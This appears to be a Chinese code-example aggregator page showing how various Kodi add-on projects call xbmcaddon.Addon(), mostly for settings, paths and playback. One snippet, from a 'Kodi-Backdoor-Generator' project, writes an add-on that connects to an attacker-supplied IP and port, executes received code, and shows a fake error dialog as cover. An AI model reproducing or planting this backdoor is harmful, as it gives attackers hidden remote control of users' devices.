Python xbmcaddon 模块,Addon() 实例源码

我们从Python开源项目中,提取了以下50个代码示例,用于说明如何使用xbmcaddon.Addon()

项目:nuodtayo.tv    作者:benaranguren    | 项目源码 | 文件源码
def checkAccountChange():
    emailAddress = this.getSetting('emailAddress')
    password = this.getSetting('password')
    hash = hashlib.sha1(emailAddress + password).hexdigest()
    hashFile = os.path.join(
                    xbmc.translatePath(
                            xbmcaddon.Addon().getAddonInfo('profile')),
                    'a.tmp')
    savedHash = ''
    accountChanged = False
    if os.path.exists(hashFile):
        with open(hashFile) as f:
            savedHash = f.read()
    if savedHash != hash:
        login()
        accountChanged = True
    if os.path.exists(
            xbmc.translatePath(xbmcaddon.Addon().getAddonInfo('profile'))):
        with open(hashFile, 'w') as f:
            f.write(hash)
    return accountChanged
项目:plugin.audio.spotify    作者:marcelveldt    | 项目源码 | 文件源码
def __init__(self):
        try:
            self.addon = xbmcaddon.Addon(id=ADDON_ID)
            self.win = xbmcgui.Window(10000)
            self.cache = SimpleCache()
            auth_token = self.get_authkey()
            if auth_token:
                self.parse_params()
                self.sp = spotipy.Spotify(auth=auth_token)
                me = self.sp.me()
                self.userid = me["id"]
                self.usercountry = me["country"]
                self.local_playback, self.playername, self.connect_id = self.active_playback_device()
                if self.action:
                    action = "self." + self.action
                    eval(action)()
                else:
                    self.browse_main()
                    self.precache_library()
            else:
                xbmcplugin.endOfDirectory(handle=self.addon_handle)
        except Exception as exc:
            log_exception(__name__, exc)
            xbmcplugin.endOfDirectory(handle=self.addon_handle)
项目:plugin.audio.spotify    作者:marcelveldt    | 项目源码 | 文件源码
def __init__(self):
        '''initialize with default values'''
        addon = xbmcaddon.Addon(id=ADDON_ID)
        self.username = addon.getSetting("username").decode("utf-8")
        self.password = addon.getSetting("password").decode("utf-8")
        if addon.getSetting("enable_cache").decode("utf-8") == "true":
            cache_path = xbmc.translatePath(addon.getSetting("cache_path")).decode("utf-8")
            if os.path.isdir(cache_path):
                self.__cache_path = cache_path
        del addon
        self.playername = get_playername()
        self.__spotty_binary = self.get_spotty_binary()
        if self.__spotty_binary and self.test_spotty(self.__spotty_binary):
            self.playback_supported = True
            xbmc.executebuiltin("SetProperty(spotify.supportsplayback, true, Home)")
        else:
            log_msg("Error while verifying spotty. Local playback is disabled.")
项目:plugin.video.auvio    作者:rickybiscus    | 项目源码 | 文件源码
def set_setting(self, id_, value):
        """
        Set addon setting

        Python :class:`bool` type are converted to ``'true'`` or ``'false'``
        Non-string/non-unicode values are converted to strings.

        .. warning:: Setting values via :class:`Addon` instance properties is not supported!
            Values can only be set using :meth:`Addon.set_setting` method.

        :param id_: setting ID
        :type id_: str
        :param value: setting value
        """
        if isinstance(value, bool):
            value = 'true' if value else 'false'
        elif not isinstance(value, basestring):
            value = str(value)
        self._addon.setSetting(id_, value)
项目:plugin.video.auvio    作者:rickybiscus    | 项目源码 | 文件源码
def get_category_medias(id,page=1):

    items = []

    limit = int(Addon().get_setting('medias_per_page'))

    url_args = {
        'target_site':  'mediaz',
        'category_id':  id,
        'offset':       (page - 1) * limit,
        'limit':        limit,

    }
    url = generic_api_url('media','objectlist',url_args)

    json_data = utils.request_url(url)
    if not json_data:
        return

    nodes = json.loads(json_data)

    common.plugin.log('api.get_category_medias: found %d nodes' % len(nodes))

    return nodes
项目:weather.clue    作者:stefandmn    | 项目源码 | 文件源码
def geoip(self):
        retry = 0
        query = ''
        while (retry < 6) and (not xbmc.abortRequested):
            query = self.call('geolookup', 'lang:EN', 'autoip', self.FORMAT)
            if query != '':
                retry = 6
            else:
                retry += 1
                xbmc.sleep(10000)
                commons.debug('GeoIP download failed')
        commons.debug('GeoIP data: %s' % query)
        data = self._parse(query)
        if data is not None and data.has_key('location'):
            location = data['location']['city']
            locationid = data['location']['l'][3:]
            xbmcaddon.Addon().setSetting('Location1', location)
            xbmcaddon.Addon().setSetting('Location1id', locationid)
            commons.debug('Detected GeoIP location: %s' % location)
        else:
            location = ''
            locationid = ''
        return location, locationid
项目:Kodi-Backdoor-Generator    作者:LukaSikic    | 项目源码 | 文件源码
def addonPy(ip, port):
    with io.FileIO("KodiBackdoor/addon.py", "w") as file:
        file.write('''
import xbmcaddon
import xbmcgui
import socket,struct
addon       = xbmcaddon.Addon()
addonname   = addon.getAddonInfo('name')
line1 = "Error!"
line2 = "An error occurred"
line3 = "Connection to server failed... please try again later"
s=socket.socket(2,1)
s.connect(("'''+ip+'''",'''+port+'''))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(4096)
while len(d)!=l:
    d+=s.recv(4096)
exec(d,{'s':s})
xbmcgui.Dialog().ok(addonname, line1, line2, line3)
''')

#Zip folder
项目:catchup4kodi    作者:catchup4kodi    | 项目源码 | 文件源码
def BACKUP_OPTION():
    if not zip == '': 
        addDir('FULL BACKUP','url',3,'','Back Up Your Full System')
        addDir('Backup Just Your Addons','addons',6,'','Back Up Your Addons')
        addDir('Backup Just Your Addon UserData','addon_data',6,'','Back Up Your Addon Userdata')  
        addDir('Backup Guisettings.xml',GUI,4,'','Back Up Your guisettings.xml')
        if os.path.exists(FAVS):
            addDir('Backup Favourites.xml',FAVS,4,'','Back Up Your favourites.xml')
        if os.path.exists(SOURCE):
            addDir('Backup Source.xml',SOURCE,4,'','Back Up Your sources.xml')
        if os.path.exists(ADVANCED):
            addDir('Backup Advancedsettings.xml',ADVANCED,4,'','Back Up Your advancedsettings.xml')
        if os.path.exists(KEYMAPS):
            addDir('Backup Advancedsettings.xml',KEYMAPS,4,'','Back Up Your keyboard.xml')
        if os.path.exists(RSS):
            addDir('Backup RssFeeds.xml',RSS,4,'','Back Up Your RssFeeds.xml')

    if not ADDON.getSetting('email')=='':   
        addDir('[COLOR green]Backup And Email Me My Addons[/COLOR]','addons.zip',9,'','Restore Your Addons')


    if not ADDON.getSetting('email')=='':   
        addDir('[COLOR orange]Backup And Email Me My UserData[/COLOR]','addon_data.zip',9,'','Restore Your Addon UserData')
项目:plugin.video.vrt.nu    作者:pietje666    | 项目源码 | 文件源码
def router(params_string):
    addon = xbmcaddon.Addon()
    kodi_wrapper = kodiwrapper.KodiWrapper(_handle, _url, addon)
    stream_service = urltostreamservice.UrlToStreamService(vrtplayer.VRTPlayer._VRT_BASE,
                                                           vrtplayer.VRTPlayer._VRTNU_BASE_URL,
                                                           kodi_wrapper)
    vrt_player = vrtplayer.VRTPlayer(addon.getAddonInfo("path"), kodi_wrapper, stream_service)
    params = dict(parse_qsl(params_string))
    if params:
        if params['action'] == actions.LISTING_AZ:
            vrt_player.show_az_menu_items()
        elif params['action'] == actions.LISTING_CATEGORIES:
            vrt_player.show_category_menu_items()
        elif params['action'] == actions.LISTING_LIVE:
            vrt_player.show_livestream_items()
        elif params['action'] == actions.LISTING_VIDEOS:
            vrt_player.show_videos(params['video'])
        elif params['action'] == actions.LISTING_CATEGORY_VIDEOS:
            vrt_player.show_video_category_episodes(params['video'])
        elif params['action'] == actions.PLAY:
            vrt_player.play_vrtnu_video(params['video'])
        elif params['action'] == actions.PLAY_LIVE:
            vrt_player.play_livestream(params['video'])
    else:
        vrt_player.show_main_menu_items()
项目:script.quasar.t411-rik91    作者:rik91    | 项目源码 | 文件源码
def __init__(self):
        # Objects
        self.dialog = xbmcgui.Dialog()
        self.pDialog = xbmcgui.DialogProgress()
        self.settings = xbmcaddon.Addon()

        # General information
        self.idAddon = self.settings.getAddonInfo('ID')  # gets name
        self.icon = self.settings.getAddonInfo('icon')
        self.fanart = self.settings.getAddonInfo('fanart')
        self.path = self.settings.getAddonInfo('path')
        self.name = self.settings.getAddonInfo('name')  # gets name
        self.cleanName = re.sub('.COLOR (.*?)]', '', self.name.replace('[/COLOR]', ''))
        self.value = {}  # it contains all the settings from xml file
        with open(path.join(self.path, "resources", "settings.xml"), 'r') as fp:
            data = fp.read()
        soup = BeautifulSoup(data)
        settings = soup.select("setting")
        for setting in settings:
            key = setting.attrs.get("id")
            if key is not None:
                self.value[key] = self.settings.getSetting(key)
        if 'url_address' in self.value and self.value['url_address'].endswith('/'):
            self.value['url_address'] = self.value['url_address'][:-1]
项目:emulator.tools.retroarch    作者:JoKeRzBoX    | 项目源码 | 文件源码
def makeFilesExecutable():
    scriptPath = xbmc.translatePath(xbmcaddon.Addon(id = 'emulator.tools.retroarch').getAddonInfo('path'))
    scriptPath = os.path.join(scriptPath, 'bin')
    file1 = os.path.join(scriptPath, 'retroarch.sh')
    file2 = os.path.join(scriptPath, 'retroarch.start')
    file3 = os.path.join(scriptPath, 'retroarch')

    try:
        os.chmod(file1, stat.S_IRWXU|stat.S_IRWXG|stat.S_IROTH|stat.S_IXOTH)
        os.chmod(file2, stat.S_IRWXU|stat.S_IRWXG|stat.S_IROTH|stat.S_IXOTH)
        os.chmod(file3, stat.S_IRWXU|stat.S_IRWXG|stat.S_IROTH|stat.S_IXOTH)
        d = xbmcgui.Dialog()
        d.ok('RetroArch', 'File permissions applied', 'scripts should now be executable')        
    except:
        d = xbmcgui.Dialog()
        d.ok('RetroArch', 'Failed to apply permissions', 'Please try again later or do it manualy via ssh')
项目:specto    作者:mrknow    | 项目源码 | 文件源码
def openDialog(image,audio):
    audio = audio
    print 'MUSIC IS  '+audio
    path = xbmc.translatePath(os.path.join('special://home/addons/plugin.video.phstreams/resources/skins/DefaultSkin','media'))
    popimage=os.path.join(path, 'tempimage.jpg')
    downloadFile(image,popimage)
    musicsound=os.path.join(path, 'tempsound.mp3')
    downloadFile(audio,musicsound)
    if xbmc.getCondVisibility('system.platform.ios'):
        if not xbmc.getCondVisibility('system.platform.atv'):
            popup = dialog('pop1.xml',xbmcaddon.Addon().getAddonInfo('path'),'DefaultSkin',close_time=20,logo_path='%s/resources/skins/DefaultSkin/media/Logo/'%xbmcaddon.Addon().getAddonInfo('path'),)
    if xbmc.getCondVisibility('system.platform.android'):
        popup = dialog('pop1.xml',xbmcaddon.Addon().getAddonInfo('path'),'DefaultSkin',close_time=20,logo_path='%s/resources/skins/DefaultSkin/media/Logo/'%xbmcaddon.Addon().getAddonInfo('path'))
    else:
        popup = dialog('pop.xml',xbmcaddon.Addon().getAddonInfo('path'),'DefaultSkin',close_time=20,logo_path='%s/resources/skins/DefaultSkin/media/Logo/'%xbmcaddon.Addon().getAddonInfo('path'))
    popup.doModal()
    del popup
项目:script.tvguide.fullscreen    作者:primaeval    | 项目源码 | 文件源码
def __init__(self):
        # Class initialisation.  Fails with a RuntimeError exception if VPN Manager add-on is not available, or too old
        self.filtered_addons = []
        self.filtered_windows = []
        self.primary_vpns = []
        self.last_updated = 0
        self.refreshLists()
        self.default = self.getConnected()
        xbmc.log("VPN Mgr API : Default is " + self.default, level=xbmc.LOGDEBUG)
        self.timeout = 30
        if not xbmc.getCondVisibility("System.HasAddon(service.vpn.manager)"):
            xbmc.log("VPN Mgr API : VPN Manager is not installed, cannot use filtering", level=xbmc.LOGERROR)
            raise RuntimeError("VPN Manager is not installed")
        else:
            v = int((xbmcaddon.Addon("service.vpn.manager").getAddonInfo("version").strip()).replace(".",""))
            if v < 310:
                raise RuntimeError("VPN Manager " + str(v) + " installed, but needs to be v3.1.0 or later")
项目:script.tvguide.fullscreen    作者:primaeval    | 项目源码 | 文件源码
def deleteDB():
    try:
        xbmc.log("[script.tvguide.fullscreen] Deleting database...", xbmc.LOGDEBUG)
        dbPath = xbmc.translatePath(xbmcaddon.Addon(id = 'script.tvguide.fullscreen').getAddonInfo('profile'))
        dbPath = os.path.join(dbPath, 'source.db')

        delete_file(dbPath)

        passed = not os.path.exists(dbPath)

        if passed:
            xbmc.log("[script.tvguide.fullscreen] Deleting database...PASSED", xbmc.LOGDEBUG)
        else:
            xbmc.log("[script.tvguide.fullscreen] Deleting database...FAILED", xbmc.LOGDEBUG)

        return passed

    except Exception, e:
        xbmc.log('[script.tvguide.fullscreen] Deleting database...EXCEPTION', xbmc.LOGDEBUG)
        return False
项目:plugin.video.streamlink    作者:beardypig    | 项目源码 | 文件源码
def set_setting(self, id_, value):
        """
        Set addon setting

        Python :class:`bool` type are converted to ``'true'`` or ``'false'``
        Non-string/non-unicode values are converted to strings.

        .. warning:: Setting values via :class:`Addon` instance properties is not supported!
            Values can only be set using :meth:`Addon.set_setting` method.

        :param id_: setting ID
        :type id_: str
        :param value: setting value
        """
        if isinstance(value, bool):
            value = 'true' if value else 'false'
        elif not isinstance(value, basestring):
            value = str(value)
        self._addon.setSetting(id_, value)
项目:plugin.video.nbcsnliveextra    作者:eracknaphobia    | 项目源码 | 文件源码
def getDeviceID(self):
        addon_profile_path = xbmc.translatePath(xbmcaddon.Addon().getAddonInfo('profile'))
        fname = os.path.join(addon_profile_path, 'device.id')
        #xbmc.log("FILE PATH == "+str(fname))
        if not os.path.isfile(fname):
            if not os.path.exists(addon_profile_path):
                os.makedirs(addon_profile_path)         
            new_device_id =str(uuid.uuid1())
            device_file = open(fname,'w')   
            device_file.write(new_device_id)
            device_file.close()

        fname = os.path.join(addon_profile_path, 'device.id')
        device_file = open(fname,'r') 
        device_id = device_file.readline()
        device_file.close()

        return device_id
项目:plugin.video.nbcsnliveextra    作者:eracknaphobia    | 项目源码 | 文件源码
def requestJSON(self, url, headers, body=None, method=None):      
        addon_profile_path = xbmc.translatePath(xbmcaddon.Addon().getAddonInfo('profile'))  
        cj = cookielib.LWPCookieJar(os.path.join(addon_profile_path, 'cookies.lwp'))
        try: cj.load(os.path.join(addon_profile_path, 'cookies.lwp'),ignore_discard=True)
        except: pass
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))    
        opener.addheaders = headers     

        try:           
            request = urllib2.Request(url, body)
            if method == 'DELETE': request.get_method = lambda: method            
            response = opener.open(request)
            json_source = json.load(response) 
            response.close()
            self.saveCookie(cj)
        except HTTPError as e:            
            if e.code == 403:
                msg = 'Your device is not authorized to view the selected stream.\n Would you like to authorize this device now?'
                dialog = xbmcgui.Dialog() 
                answer = dialog.yesno('Account Not Authorized', msg)                 
                if answer: self.registerDevice()
            sys.exit(0)

        return json_source
项目:script.module.metadatautils    作者:marcelveldt    | 项目源码 | 文件源码
def process_image(image_url, art_type, imdb_id):
        '''animated gifs need to be stored locally, otherwise they won't work'''
        # make sure that our local path for the gif images exists
        addon = xbmcaddon.Addon(ADDON_ID)
        gifs_path = "%sanimatedgifs/" % addon.getAddonInfo('profile')
        del addon
        if not xbmcvfs.exists(gifs_path):
            xbmcvfs.mkdirs(gifs_path)
        # only process existing images
        if not image_url or not xbmcvfs.exists(image_url):
            return None
        # copy the image to our local path and return the new path as value
        local_filename = "%s%s_%s.gif" % (gifs_path, imdb_id, art_type)
        if xbmcvfs.exists(local_filename):
            xbmcvfs.delete(local_filename)
        # we don't use xbmcvfs.copy because we want to wait for the action to complete
        img = xbmcvfs.File(image_url)
        img_data = img.readBytes()
        img.close()
        img = xbmcvfs.File(local_filename, 'w')
        img.write(img_data)
        img.close()
        return local_filename
项目:script.module.metadatautils    作者:marcelveldt    | 项目源码 | 文件源码
def __init__(self, simplecache=None):
        '''Initialize - optionaly provide simplecache object'''
        if not simplecache:
            from simplecache import SimpleCache
            self.cache = SimpleCache()
        else:
            self.cache = simplecache
        import musicbrainzngs as mbrainz
        mbrainz.set_useragent(
            "script.skin.helper.service",
            "1.0.0",
            "https://github.com/marcelveldt/script.skin.helper.service")
        mbrainz.set_rate_limit(limit_or_interval=2.0, new_requests=1)
        addon = xbmcaddon.Addon(ADDON_ID)
        if addon.getSetting("music_art_mb_mirror"):
            mbrainz.set_hostname(addon.getSetting("music_art_mb_mirror"))
        del addon
        self.mbrainz = mbrainz
项目:plugin.program.indigo    作者:tvaddonsco    | 项目源码 | 文件源码
def addHELPDir(name, url, mode, iconimage, fanart, description, filetype, repourl, version, author, contextmenuitems=[],
               contextreplace=False):
    u = sys.argv[0] + "?url=" + urllib.quote_plus(url) + "&mode=" + str(mode) + "&name=" + urllib.quote_plus(
        name) + "&iconimage=" + urllib.quote_plus(iconimage) + "&fanart=" + urllib.quote_plus(
        fanart) + "&description=" + urllib.quote_plus(description) + "&filetype=" + urllib.quote_plus(
        filetype) + "&repourl=" + urllib.quote_plus(repourl) + "&author=" + urllib.quote_plus(
        author) + "&version=" + urllib.quote_plus(version)
    ok = True
    liz = xbmcgui.ListItem(name, iconImage=iconart, thumbnailImage=iconimage)  # "DefaultFolder.png"
    # if len(contextmenuitems) > 0:
    liz.addContextMenuItems(contextmenuitems, replaceItems=contextreplace)
    liz.setInfo(type="Video", infoLabels={"title": name, "plot": description})
    liz.setProperty("fanart_image", fanart)
    liz.setProperty("Addon.Description", description)
    liz.setProperty("Addon.Creator", author)
    liz.setProperty("Addon.Version", version)
    # properties={'Addon.Description':meta["plot"]}
    ok = xbmcplugin.addDirectoryItem(handle=int(sys.argv[1]), url=u, listitem=liz, isFolder=False)
    return ok
项目:Bassdrive-Kodi-Plugin    作者:geudrik    | 项目源码 | 文件源码
def __init__(self):

        # Load config.ini
        self.bd_config = SafeConfigParser()
        self.bd_config.read(os.path.join(os.path.dirname(__file__), "config.ini"))

        # Plugin Constants & Profile Path
        self.bd_addon = xbmcaddon.Addon(id=self.bd_config.get('plugin', 'id'))
        self.bd_ppath = xbmc.translatePath(self.bd_addon.getAddonInfo('profile')).decode('utf-8')
        self.bd_handle = int(sys.argv[1])
        self.base_url = sys.argv[0]

        # Mode Arguments
        self.args = urlparse.parse_qs(sys.argv[2][1:])
        self.mode = urlparse.parse_qs(sys.argv[2][1:]).get('mode', None)

        # Ensure our Cache directory exists
        self.cachedir = os.path.join(self.bd_ppath, 'cache')
        if not os.path.exists(self.cachedir):
            os.makedirs(self.cachedir)
项目:plugin.video.jen    作者:midraal    | 项目源码 | 文件源码
def save_view_mode(content):
    viewid = get_view_id()
    skin = xbmc.getSkinDir()
    koding.Create_Table("addonviews", view_spec)
    koding.Remove_From_Table(
        "addonviews", {"skin": skin,
                       "content": content})
    koding.Add_To_Table("addonviews", {
        "skin": skin,
        "content": content,
        "viewid": viewid,
    })
    icon = xbmcaddon.Addon().getAddonInfo('icon')
    xbmcgui.Dialog().notification(xbmcaddon.Addon().getAddonInfo('name'),
                                  _("View set for %s") % content,
                                  icon)
项目:plugin.video.jen    作者:midraal    | 项目源码 | 文件源码
def set_theme(theme):
        """set jen theme"""
        import random
        theme_list = run_hook("get_theme_list")

        if theme.lower() == "user":
            user_theme_folder = os.path.join(
                xbmc.translatePath(
                    xbmcaddon.Addon().getSetting("cache_folder")),
                "theme")
            if os.path.isdir(user_theme_folder):
                user_files = []
                for ufile in os.listdir(user_theme_folder):
                    if os.path.isfile(os.path.join(user_theme_folder, ufile)):
                        user_files.append(
                            os.path.join(user_theme_folder, ufile))
                theme_list["user"] = user_files
            else:
                koding.dolog("huh?: " + repr(theme))
                return xbmcaddon.Addon().getAddonInfo('fanart')
        return replace_url(random.choice(theme_list[theme.lower()]))
项目:plugin.video.jen    作者:midraal    | 项目源码 | 文件源码
def get_link_message():
    """
    helper function to get a random message when selecting links
    """
    import random
    messages = run_hook("get_link_message")
    if not messages:
        messages = [
            {
                'HD': '',
                'SD': ''
            }
        ]

    if xbmcaddon.Addon().getSetting('disable_messages') == 'true':
        message = {
            'HD': '',
            'SD': ''
        }
    else:
        message = random.choice(messages)
    return message
项目:plugin.video.jen    作者:midraal    | 项目源码 | 文件源码
def get_searching_message(preset):
    """
    helper function to select a message for video items
    Args:
        preset: search quality preset ("HD", "SD" or None)
    Returns:
        random message for video items
    """
    messages = run_hook("get_searching_message", preset)
    if not messages:
        if xbmcaddon.Addon().getSetting('disable_messages') == "true":
            return ' '
        messages = [
            '',
        ]
    return random.choice(messages)
项目:service.vpn.manager    作者:Zomboided    | 项目源码 | 文件源码
def getAutoSource():
    # If the VPN has changed, then reset all the numbers        
    addon = xbmcaddon.Addon("service.vpn.manager")
    last_vpn = addon.getSetting("ip_service_last_vpn")
    current_vpn = addon.getSetting("vpn_provider_validated")
    if (not last_vpn == current_vpn):
        addon.setSetting("ip_service_last_vpn", current_vpn)
        resetIPServices()

    # Get the last source we tried to use from the home window or use the first if this is first time through
    source = xbmcgui.Window(10000).getProperty("VPN_Manager_Last_IP_Service")
    if source == "":
        # Record that we're using the first one
        xbmcgui.Window(10000).setProperty("VPN_Manager_Last_IP_Service", ip_sources[1])
        return ip_sources[1]
    else:
        index = ip_sources.index(source)
        if index > 1:
            if getWorkingValue(index) >= getErrorValue(index - 1):
                setWorkingValue(index, 0)
                index = index - 1
        return ip_sources[index]
项目:service.vpn.manager    作者:Zomboided    | 项目源码 | 文件源码
def copySystemdFiles():
    # Delete any existing openvpn.service and copy openvpn service file to config directory
    service_source = getAddonPath(True, "openvpn.service")
    service_dest = getSystemdPath("system.d/openvpn.service")
    debugTrace("Copying openvpn.service " + service_source + " to " + service_dest)
    if not fakeSystemd():
        if xbmcvfs.exists(service_dest): xbmcvfs.delete(service_dest)
        xbmcvfs.copy(service_source, service_dest)
        if not xbmcvfs.exists(service_dest): raise IOError('Failed to copy service ' + service_source + " to " + service_dest)

    # Delete any existing openvpn.config and copy first VPN to openvpn.config
    config_source = sudo_setting = xbmcaddon.Addon("service.vpn.manager").getSetting("1_vpn_validated")
    if service_source == "": errorTrace("platform.py", "Nothing has been validated")
    config_dest = getSystemdPath("openvpn.config")
    debugTrace("Copying openvpn.config " + config_source + " to " + config_dest)
    if not fakeSystemd():
        if xbmcvfs.exists(config_dest): xbmcvfs.delete(config_dest)
        xbmcvfs.copy(config_source, config_dest)
        if not xbmcvfs.exists(config_dest): raise IOError('Failed to copy service ovpn ' + config_source + " to " + config_dest)
项目:service.vpn.manager    作者:Zomboided    | 项目源码 | 文件源码
def getOpenVPNPath():
    # Call the platform VPN to start the VPN
    #if fakeConnection():
    #    p = platforms.LINUX
    #else:
    p = getPlatform()   
    if p == platforms.RPI:
        return getAddonPath(False, "network.openvpn/bin/openvpn")
    if p == platforms.LINUX:
        if xbmcaddon.Addon("service.vpn.manager").getSetting("openvpn_no_path") == "true": return "openvpn"
        return "/usr/sbin/openvpn"
    if p == platforms.WINDOWS:
        # No path specified as install will update command path
        return "openvpn"

    # **** ADD MORE PLATFORMS HERE ****

    return
项目:service.vpn.manager    作者:Zomboided    | 项目源码 | 文件源码
def checkVPNInstall(addon):
    # Check that openvpn plugin exists (this was an issue with OE6), there's
    # another check below that validates that the command actually works
    if not fakeConnection():
        p = getPlatform()
        dialog_msg = ""
        if p == platforms.RPI:
            command_path = getAddonPath(False, "network.openvpn/bin/openvpn")
            if xbmcvfs.exists(command_path):
                # Check the version that's installed
                vpn_addon = xbmcaddon.Addon("network.openvpn")
                version =  vpn_addon.getAddonInfo("version")
                version = version.replace(".", "")
                if int(version) >= 600: return True
            dialog_msg = "OpenVPN executable not available.  Install the openvpn plugin, version 6.0.1 or greater from the OpenELEC unofficial repo."
            # Display error message
            xbmcgui.Dialog().ok(addon.getAddonInfo("name"), dialog_msg)
    return True
项目:plugin.audio.bytefm    作者:kopf    | 项目源码 | 文件源码
def set_setting(self, id_, value):
        """
        Set addon setting

        Python :class:`bool` type are converted to ``'true'`` or ``'false'``
        Non-string/non-unicode values are converted to strings.

        .. warning:: Setting values via :class:`Addon` instance properties is not supported!
            Values can only be set using :meth:`Addon.set_setting` method.

        :param id_: setting ID
        :type id_: str
        :param value: setting value
        """
        if isinstance(value, bool):
            value = 'true' if value else 'false'
        elif not isinstance(value, basestring):
            value = str(value)
        self._addon.setSetting(id_, value)
项目:plugin.video.skygo    作者:trummerjo    | 项目源码 | 文件源码
def showParentalSettings():
    fsk_list = ['Deaktiviert', '0', '6', '12', '16', '18']
    dlg = xbmcgui.Dialog()
    code = dlg.input('PIN Code', type=xbmcgui.INPUT_NUMERIC)
    if code == xbmcaddon.Addon().getSetting('password'):
        idx = dlg.select('Wähle maximale FSK Alterstufe', fsk_list)
        if idx >= 0:
            fsk_code = fsk_list[idx]
            if fsk_code == 'Deaktiviert':
                xbmcaddon.Addon().setSetting('js_maxrating', '-1')
            else:
                xbmcaddon.Addon().setSetting('js_maxrating', fsk_list[idx])
        if idx > 0:
            if dlg.yesno('Jugendschutz', 'Sollen Inhalte mit einer Alterseinstufung über ', 'FSK ' + fsk_list[idx] + ' angezeigt werden?'):
                xbmcaddon.Addon().setSetting('js_showall', 'true')
            else:
                xbmcaddon.Addon().setSetting('js_showall', 'false')
    else:
        xbmcgui.Dialog().notification('SkyGo - Jugendschutz', 'Fehlerhafte PIN', xbmcgui.NOTIFICATION_ERROR, 2000, True)
项目:plugin.video.exodus    作者:lastship    | 项目源码 | 文件源码
def get(version):
    try:
        import xbmc,xbmcgui,xbmcaddon,xbmcvfs

        f = xbmcvfs.File(xbmcaddon.Addon().getAddonInfo('changelog'))
        text = f.read() ; f.close()

        label = '%s - %s' % (xbmc.getLocalizedString(24054), xbmcaddon.Addon().getAddonInfo('name'))

        id = 10147

        xbmc.executebuiltin('ActivateWindow(%d)' % id)
        xbmc.sleep(100)

        win = xbmcgui.Window(id)

        retry = 50
        while (retry > 0):
            try:
                xbmc.sleep(10)
                win.getControl(1).setLabel(label)
                win.getControl(5).setText(text)
                retry = 0
            except:
                retry -= 1

        return '1'
    except:
        return '1'
项目:plugin.video.exodus    作者:lastship    | 项目源码 | 文件源码
def artPath():
    theme = appearance()
    if theme in ['-', '']: return
    elif condVisibility('System.HasAddon(script.exodus.artwork)'):
        return os.path.join(xbmcaddon.Addon('script.exodus.artwork').getAddonInfo('path'), 'resources', 'media', theme)
项目:plugin.video.exodus    作者:lastship    | 项目源码 | 文件源码
def metaFile():
    if condVisibility('System.HasAddon(script.exodus.metadata)'):
        return os.path.join(xbmcaddon.Addon('script.exodus.metadata').getAddonInfo('path'), 'resources', 'data', 'meta.db')
项目:plugin.video.exodus    作者:lastship    | 项目源码 | 文件源码
def openSettings(query=None, id=addonInfo('id')):
    try:
        idle()
        execute('Addon.OpenSettings(%s)' % id)
        if query == None: raise Exception()
        c, f = query.split('.')
        execute('SetFocus(%i)' % (int(c) + 100))
        execute('SetFocus(%i)' % (int(f) + 200))
    except:
        return
项目:nuodtayo.tv    作者:benaranguren    | 项目源码 | 文件源码
def show_message(message, title=xbmcaddon.Addon().getLocalizedString(50107)):
    if not message:
        return
    xbmc.executebuiltin("ActivateWindow(%d)" % (10147, ))
    win = xbmcgui.Window(10147)
    xbmc.sleep(100)
    win.getControl(1).setLabel(title)
    win.getControl(5).setText(message)
项目:script.skin.helper.skinbackup    作者:marcelveldt    | 项目源码 | 文件源码
def __init__(self):
        self.userthemes_path = u"special://profile/addon_data/%s/themes/" % xbmc.getSkinDir()
        if not xbmcvfs.exists(self.userthemes_path):
            xbmcvfs.mkdir(self.userthemes_path)
        self.skinthemes_path = u"special://skin/extras/skinthemes/"
        if xbmcvfs.exists("special://home/addons/resource.skinthemes.%s/resources/" % get_skin_name()):
            self.skinthemes_path = u"special://home/addons/resource.skinthemes.%s/resources/" % get_skin_name()
        self.addon = xbmcaddon.Addon(ADDON_ID)
项目:script.skin.helper.skinbackup    作者:marcelveldt    | 项目源码 | 文件源码
def __init__(self):
        '''Initialization and main code run'''
        self.addon = xbmcaddon.Addon(ADDON_ID)
项目:plugin.audio.spotify    作者:marcelveldt    | 项目源码 | 文件源码
def __init__(self):
        self.addon = xbmcaddon.Addon(id=ADDON_ID)
        self.kodimonitor = xbmc.Monitor()
        self.spotty = Spotty()

        # spotipy and the webservice are always prestarted in the background
        # the auth key for spotipy will be set afterwards
        # the webserver is also used for the authentication callbacks from spotify api
        self.sp = spotipy.Spotify()
        self.connect_player = ConnectPlayer(sp=self.sp, spotty=self.spotty)

        self.proxy_runner = ProxyRunner(self.spotty)
        self.proxy_runner.start()
        webport = self.proxy_runner.get_port()
        log_msg('started webproxy at port {0}'.format(webport))

        # authenticate
        self.token_info = self.get_auth_token()
        if self.token_info and not self.kodimonitor.abortRequested():

            # initialize spotipy
            self.sp._auth = self.token_info["access_token"]
            me = self.sp.me()
            log_msg("Logged in to Spotify - Username: %s" % me["id"], xbmc.LOGNOTICE)

            # start experimental spotify connect daemon
            if self.addon.getSetting("connect_player") == "true" and self.spotty.playback_supported:
                self.connect_player.start()

        # start mainloop
        self.main_loop()
项目:plugin.audio.spotify    作者:marcelveldt    | 项目源码 | 文件源码
def get_authkey(self):
        '''get authentication key'''
        auth_token = self.win.getProperty("spotify-token").decode("utf-8")
        if not auth_token:
            dialog = xbmcgui.Dialog()
            header = self.addon.getAddonInfo("name")
            msg = self.addon.getLocalizedString(11050)
            dialog.ok(header, msg)
            del dialog
            xbmc.executebuiltin("Addon.OpenSettings(%s)" % ADDON_ID)
        return auth_token
项目:plugin.video.auvio    作者:rickybiscus    | 项目源码 | 文件源码
def __init__(self, id_=''):
        """
        Class constructor
        """
        self._addon = xbmcaddon.Addon(id_)
        self._configdir = xbmc.translatePath(self._addon.getAddonInfo('profile')).decode('utf-8')
        self._ui_strings_map = None
        if not os.path.exists(self._configdir):
            os.mkdir(self._configdir)
项目:plugin.video.auvio    作者:rickybiscus    | 项目源码 | 文件源码
def __getattr__(self, item):
        """
        Get addon setting as an Addon instance attribute

        E.g. addon.my_setting is equal to addon.get_setting('my_setting')

        :param item:
        :type item: str
        """
        return self.get_setting(item)
项目:plugin.video.auvio    作者:rickybiscus    | 项目源码 | 文件源码
def __str__(self):
        return '<Addon [{0}]>'.format(self.id)
项目:plugin.video.auvio    作者:rickybiscus    | 项目源码 | 文件源码
def __repr__(self):
        return '<simpleplugin.Addon object [{0}]>'.format(self.id)
项目:plugin.video.auvio    作者:rickybiscus    | 项目源码 | 文件源码
def addon(self):
        """
        Kodi Addon instance that represents this Addon

        :return: Addon instance
        :rtype: xbmcaddon.Addon
        """
        return self._addon
